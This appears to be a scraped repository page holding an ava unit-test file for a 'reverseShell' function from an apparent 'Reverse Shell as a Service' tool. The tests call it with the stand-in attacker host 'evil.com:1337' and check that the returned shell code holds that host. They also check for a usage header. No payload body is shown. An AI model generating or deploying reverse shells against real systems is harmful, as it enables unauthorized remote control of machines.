You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
16 lines
515 B
16 lines
515 B
import test from 'ava';
|
|
import { reverseShell } from 'this';
|
|
|
|
test('reverseShell is a function', t => {
|
|
t.is(typeof reverseShell, 'function');
|
|
});
|
|
|
|
test('reverseShell returns shell code with /host:port variables', t => {
|
|
const returnValue = reverseShell('evil.com:1337');
|
|
t.true(returnValue.indexOf('("evil.com",1337)') > -1);
|
|
});
|
|
|
|
test('reverseShell returns usage if host and port aren\'t set', t => {
|
|
const returnValue = reverseShell();
|
|
t.true(returnValue.indexOf('# Reverse Shell as a Service') === 0);
|
|
});
|
|
|